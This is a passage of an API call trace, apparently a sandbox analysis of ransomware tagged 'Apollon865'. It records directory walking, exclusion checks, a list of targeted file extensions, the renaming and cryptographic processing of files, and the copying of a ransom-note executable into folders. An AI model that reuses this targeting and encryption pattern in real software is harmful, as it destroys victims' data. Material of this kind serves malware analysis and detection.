	[0077.583] lstrcmpiW (lpString1="rWW.cab", lpString2="teacher") returned -1
	[0077.583] lstrlenW (lpString="tmd") returned 3
	[0077.583] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0077.583] lstrlenW (lpString="tps") returned 3
	[0077.583] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0077.583] lstrlenW (lpString="trc") returned 3
	[0077.583] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0077.583] lstrlenW (lpString="trc") returned 3
	[0077.583] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0077.583] lstrlenW (lpString="trm") returned 3
	[0077.583] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0077.583] lstrlenW (lpString="udb") returned 3
	[0077.583] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0077.584] lstrlenW (lpString="udl") returned 3
	[0077.584] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0077.584] lstrlenW (lpString="usr") returned 3
	[0077.584] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0077.584] lstrlenW (lpString="v12") returned 3
	[0077.584] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0077.584] lstrlenW (lpString="vis") returned 3
	[0077.584] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0077.584] lstrlenW (lpString="vpd") returned 3
	[0077.584] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0077.584] lstrlenW (lpString="vvv") returned 3
	[0077.584] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0077.584] lstrlenW (lpString="wdb") returned 3
	[0077.584] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0077.584] lstrlenW (lpString="wmdb") returned 4
	[0077.584] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0077.584] lstrlenW (lpString="wrk") returned 3
	[0077.584] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0077.584] lstrlenW (lpString="xdb") returned 3
	[0077.584] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0077.584] lstrlenW (lpString="xld") returned 3
	[0077.584] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0077.584] lstrlenW (lpString="xmlff") returned 5
	[0077.584] lstrcmpiW (lpString1="W.cab", lpString2="xmlff") returned -1
	[0077.584] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1
	[0077.584] lstrcmpiW (lpString1="setup.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.584] lstrcmpiW (lpString1="setup.exe", lpString2="Apollon865.txt.exe") returned 1
	[0077.584] lstrcmpiW (lpString1="setup.exe", lpString2=".") returned 1
	[0077.584] lstrcmpiW (lpString1="setup.exe", lpString2="..") returned 1
	[0077.584] lstrcmpiW (lpString1="setup.exe", lpString2="windows") returned -1
	[0077.584] lstrcmpiW (lpString1="setup.exe", lpString2="bootmgr") returned 1
	[0077.584] lstrcmpiW (lpString1="setup.exe", lpString2="temp") returned -1
	[0077.584] lstrcmpiW (lpString1="setup.exe", lpString2="pagefile.sys") returned 1
	[0077.584] lstrcmpiW (lpString1="setup.exe", lpString2="boot") returned 1
	[0077.584] lstrcmpiW (lpString1="setup.exe", lpString2="ids.txt") returned 1
	[0077.584] lstrcmpiW (lpString1="setup.exe", lpString2="ntuser.dat") returned 1
	[0077.584] lstrcmpiW (lpString1="setup.exe", lpString2="perflogs") returned 1
	[0077.585] lstrcmpiW (lpString1="setup.exe", lpString2="MSBuild") returned 1
	[0077.585] lstrlenW (lpString="setup.exe") returned 9
	[0077.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75
	[0077.585] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="setup.exe" | out: lpString1="setup.exe") returned="setup.exe"
	[0077.585] lstrlenW (lpString="setup.exe") returned 9
	[0077.585] lstrlenW (lpString="Apollon865") returned 10
	[0077.585] lstrlenW (lpString=".dll") returned 4
	[0077.585] lstrcmpiW (lpString1="setup.exe", lpString2=".dll") returned 1
	[0077.585] lstrlenW (lpString=".lnk") returned 4
	[0077.585] lstrcmpiW (lpString1="setup.exe", lpString2=".lnk") returned 1
	[0077.585] lstrlenW (lpString=".ini") returned 4
	[0077.585] lstrcmpiW (lpString1="setup.exe", lpString2=".ini") returned 1
	[0077.585] lstrlenW (lpString=".sys") returned 4
	[0077.585] lstrcmpiW (lpString1="setup.exe", lpString2=".sys") returned 1
	[0077.585] lstrlenW (lpString="setup.exe") returned 9
	[0077.585] lstrlenW (lpString="bak") returned 3
	[0077.585] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1
	[0077.585] lstrlenW (lpString="ba_") returned 3
	[0077.585] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1
	[0077.585] lstrlenW (lpString="dbb") returned 3
	[0077.585] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1
	[0077.585] lstrlenW (lpString="vmdk") returned 4
	[0077.585] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1
	[0077.585] lstrlenW (lpString="rar") returned 3
	[0077.585] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1
	[0077.585] lstrlenW (lpString="zip") returned 3
	[0077.585] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1
	[0077.585] lstrlenW (lpString="tgz") returned 3
	[0077.585] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1
	[0077.585] lstrlenW (lpString="vbox") returned 4
	[0077.585] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1
	[0077.585] lstrlenW (lpString="vdi") returned 3
	[0077.585] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1
	[0077.585] lstrlenW (lpString="vhd") returned 3
	[0077.585] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1
	[0077.585] lstrlenW (lpString="vhdx") returned 4
	[0077.586] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1
	[0077.586] lstrlenW (lpString="avhd") returned 4
	[0077.586] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1
	[0077.586] lstrlenW (lpString="db") returned 2
	[0077.586] lstrcmpiW (lpString1="xe", lpString2="db") returned 1
	[0077.586] lstrlenW (lpString="db2") returned 3
	[0077.586] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1
	[0077.586] lstrlenW (lpString="db3") returned 3
	[0077.586] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1
	[0077.586] lstrlenW (lpString="dbf") returned 3
	[0077.586] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1
	[0077.586] lstrlenW (lpString="mdf") returned 3
	[0077.586] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1
	[0077.586] lstrlenW (lpString="mdb") returned 3
	[0077.586] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1
	[0077.586] lstrlenW (lpString="sql") returned 3
	[0077.586] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1
	[0077.586] lstrlenW (lpString="sqlite") returned 6
	[0077.586] lstrcmpiW (lpString1="up.exe", lpString2="sqlite") returned 1
	[0077.586] lstrlenW (lpString="sqlite3") returned 7
	[0077.586] lstrcmpiW (lpString1="tup.exe", lpString2="sqlite3") returned 1
	[0077.586] lstrlenW (lpString="sqlitedb") returned 8
	[0077.586] lstrcmpiW (lpString1="etup.exe", lpString2="sqlitedb") returned -1
	[0077.586] lstrlenW (lpString="xml") returned 3
	[0077.586] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1
	[0077.586] lstrlenW (lpString="$er") returned 3
	[0077.586] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1
	[0077.586] lstrlenW (lpString="4dd") returned 3
	[0077.586] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1
	[0077.586] lstrlenW (lpString="4dl") returned 3
	[0077.586] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1
	[0077.586] lstrlenW (lpString="^^^") returned 3
	[0077.586] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1
	[0077.586] lstrlenW (lpString="abs") returned 3
	[0077.586] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1
	[0077.586] lstrlenW (lpString="abx") returned 3
	[0077.586] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1
	[0077.587] lstrlenW (lpString="accdb") returned 5
	[0077.587] lstrcmpiW (lpString1="p.exe", lpString2="accdb") returned 1
	[0077.587] lstrlenW (lpString="accdc") returned 5
	[0077.587] lstrcmpiW (lpString1="p.exe", lpString2="accdc") returned 1
	[0077.587] lstrlenW (lpString="accde") returned 5
	[0077.587] lstrcmpiW (lpString1="p.exe", lpString2="accde") returned 1
	[0077.587] lstrlenW (lpString="accdr") returned 5
	[0077.587] lstrcmpiW (lpString1="p.exe", lpString2="accdr") returned 1
	[0077.587] lstrlenW (lpString="accdt") returned 5
	[0077.587] lstrcmpiW (lpString1="p.exe", lpString2="accdt") returned 1
	[0077.587] lstrlenW (lpString="accdw") returned 5
	[0077.587] lstrcmpiW (lpString1="p.exe", lpString2="accdw") returned 1
	[0077.587] lstrlenW (lpString="accft") returned 5
	[0077.587] lstrcmpiW (lpString1="p.exe", lpString2="accft") returned 1
	[0077.587] lstrlenW (lpString="adb") returned 3
	[0077.587] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0077.587] lstrlenW (lpString="adb") returned 3
	[0077.587] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0077.587] lstrlenW (lpString="ade") returned 3
	[0077.587] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1
	[0077.587] lstrlenW (lpString="adf") returned 3
	[0077.587] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1
	[0077.587] lstrlenW (lpString="adn") returned 3
	[0077.587] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1
	[0077.587] lstrlenW (lpString="adp") returned 3
	[0077.587] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1
	[0077.587] lstrlenW (lpString="alf") returned 3
	[0077.587] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1
	[0077.587] lstrlenW (lpString="ask") returned 3
	[0077.587] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1
	[0077.587] lstrlenW (lpString="btr") returned 3
	[0077.587] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1
	[0077.587] lstrlenW (lpString="cat") returned 3
	[0077.587] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1
	[0077.587] lstrlenW (lpString="cdb") returned 3
	[0077.587] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1
	[0077.587] lstrlenW (lpString="ckp") returned 3
	[0077.587] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1
	[0077.588] lstrlenW (lpString="cma") returned 3
	[0077.588] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1
	[0077.588] lstrlenW (lpString="cpd") returned 3
	[0077.588] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1
	[0077.588] lstrlenW (lpString="dacpac") returned 6
	[0077.588] lstrcmpiW (lpString1="up.exe", lpString2="dacpac") returned 1
	[0077.588] lstrlenW (lpString="dad") returned 3
	[0077.588] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1
	[0077.588] lstrlenW (lpString="dadiagrams") returned 10
	[0077.588] lstrlenW (lpString="daschema") returned 8
	[0077.588] lstrcmpiW (lpString1="etup.exe", lpString2="daschema") returned 1
	[0077.588] lstrlenW (lpString="db-journal") returned 10
	[0077.588] lstrlenW (lpString="db-shm") returned 6
	[0077.588] lstrcmpiW (lpString1="up.exe", lpString2="db-shm") returned 1
	[0077.588] lstrlenW (lpString="db-wal") returned 6
	[0077.588] lstrcmpiW (lpString1="up.exe", lpString2="db-wal") returned 1
	[0077.588] lstrlenW (lpString="dbc") returned 3
	[0077.588] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1
	[0077.588] lstrlenW (lpString="dbs") returned 3
	[0077.588] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1
	[0077.588] lstrlenW (lpString="dbt") returned 3
	[0077.588] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1
	[0077.588] lstrlenW (lpString="dbv") returned 3
	[0077.588] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1
	[0077.588] lstrlenW (lpString="dbx") returned 3
	[0077.588] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1
	[0077.588] lstrlenW (lpString="dcb") returned 3
	[0077.588] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1
	[0077.588] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1
	[0077.588] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1
	[0077.588] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1
	[0077.589] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml"
	[0077.589] lstrlenW (lpString="Setup.xml") returned 9
	[0077.589] lstrlenW (lpString="Apollon865") returned 10
	[0077.589] lstrlenW (lpString=".dll") returned 4
	[0077.589] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1
	[0077.589] lstrlenW (lpString=".lnk") returned 4
	[0077.589] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1
	[0077.589] lstrlenW (lpString=".ini") returned 4
	[0077.589] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1
	[0077.589] lstrlenW (lpString=".sys") returned 4
	[0077.589] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1
	[0077.589] lstrlenW (lpString="Setup.xml") returned 9
	[0077.589] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.Apollon865") returned 83
	[0077.589] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0077.590] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0077.590] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=16683) returned 1
	[0077.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0077.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0077.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfde8
	[0077.591] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfe70) returned 1
	[0077.591] CryptGenRandom (in: hProv=0x5bfe70, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0077.591] CryptReleaseContext (hProv=0x5bfe70, dwFlags=0x0) returned 1
	[0077.592] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4430, lpName=0x0) returned 0x118
	[0077.593] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4430) returned 0x100000
	[0077.594] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfe70) returned 1
	[0077.595] CryptGenRandom (in: hProv=0x5bfe70, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0077.595] CryptReleaseContext (hProv=0x5bfe70, dwFlags=0x0) returned 1
	[0077.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0077.596] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0077.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0077.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0077.596] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0077.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0077.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0077.596] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0077.596] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0077.596] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0077.596] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0077.596] CloseHandle (hObject=0x118) returned 1
	[0077.596] CloseHandle (hObject=0x15c) returned 1
	[0077.596] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0077.596] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfde8 | out: hHeap=0x580000) returned 1
	[0077.596] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0077.597] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0077.597] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0077.597] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0077.597] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C"
	[0077.597] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfd60 | out: hHeap=0x580000) returned 1
	[0077.597] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0077.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C") returned 62
	[0077.597] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C"
	[0077.597] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.597] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.603] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.603] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4653eb30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4653eb30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.603] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.603] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.603] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.603] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4653eb30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4653eb30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.603] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.603] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.603] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.603] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.603] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4653eb30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4653eb30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.603] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.603] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1
	[0077.603] lstrcmpiW (lpString1="Office32WW.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.603] lstrcmpiW (lpString1="Office32WW.msi", lpString2="Apollon865.txt.exe") returned 1
	[0077.603] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".") returned 1
	[0077.603] lstrcmpiW (lpString1="Office32WW.msi", lpString2="..") returned 1
	[0077.603] lstrcmpiW (lpString1="Office32WW.msi", lpString2="windows") returned -1
	[0077.603] lstrcmpiW (lpString1="Office32WW.msi", lpString2="bootmgr") returned 1
	[0077.603] lstrcmpiW (lpString1="Office32WW.msi", lpString2="temp") returned -1
	[0077.603] lstrcmpiW (lpString1="Office32WW.msi", lpString2="pagefile.sys") returned -1
	[0077.603] lstrcmpiW (lpString1="Office32WW.msi", lpString2="boot") returned 1
	[0077.603] lstrcmpiW (lpString1="Office32WW.msi", lpString2="ids.txt") returned 1
	[0077.603] lstrcmpiW (lpString1="Office32WW.msi", lpString2="ntuser.dat") returned 1
	[0077.603] lstrcmpiW (lpString1="Office32WW.msi", lpString2="perflogs") returned -1
	[0077.603] lstrcmpiW (lpString1="Office32WW.msi", lpString2="MSBuild") returned 1
	[0077.603] lstrlenW (lpString="Office32WW.msi") returned 14
	[0077.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*") returned 64
	[0077.604] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Office32WW.msi" | out: lpString1="Office32WW.msi") returned="Office32WW.msi"
	[0077.604] lstrlenW (lpString="Office32WW.msi") returned 14
	[0077.604] lstrlenW (lpString="Apollon865") returned 10
	[0077.604] lstrcmpiW (lpString1="ce32WW.msi", lpString2="Apollon865") returned 1
	[0077.604] lstrlenW (lpString=".dll") returned 4
	[0077.604] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".dll") returned 1
	[0077.604] lstrlenW (lpString=".lnk") returned 4
	[0077.604] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".lnk") returned 1
	[0077.604] lstrlenW (lpString=".ini") returned 4
	[0077.604] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".ini") returned 1
	[0077.604] lstrlenW (lpString=".sys") returned 4
	[0077.604] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".sys") returned 1
	[0077.604] lstrlenW (lpString="Office32WW.msi") returned 14
	[0077.604] lstrlenW (lpString="bak") returned 3
	[0077.604] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0077.604] lstrlenW (lpString="ba_") returned 3
	[0077.604] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0077.604] lstrlenW (lpString="dbb") returned 3
	[0077.604] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0077.604] lstrlenW (lpString="vmdk") returned 4
	[0077.604] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0077.604] lstrlenW (lpString="rar") returned 3
	[0077.604] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0077.604] lstrlenW (lpString="zip") returned 3
	[0077.604] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0077.604] lstrlenW (lpString="tgz") returned 3
	[0077.604] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0077.604] lstrlenW (lpString="vbox") returned 4
	[0077.604] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0077.604] lstrlenW (lpString="vdi") returned 3
	[0077.604] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0077.604] lstrlenW (lpString="vhd") returned 3
	[0077.604] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0077.604] lstrlenW (lpString="vhdx") returned 4
	[0077.604] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0077.604] lstrlenW (lpString="avhd") returned 4
	[0077.604] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0077.604] lstrlenW (lpString="db") returned 2
	[0077.604] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0077.604] lstrlenW (lpString="db2") returned 3
	[0077.605] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0077.605] lstrlenW (lpString="db3") returned 3
	[0077.605] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0077.605] lstrlenW (lpString="dbf") returned 3
	[0077.605] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0077.605] lstrlenW (lpString="mdf") returned 3
	[0077.605] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0077.605] lstrlenW (lpString="mdb") returned 3
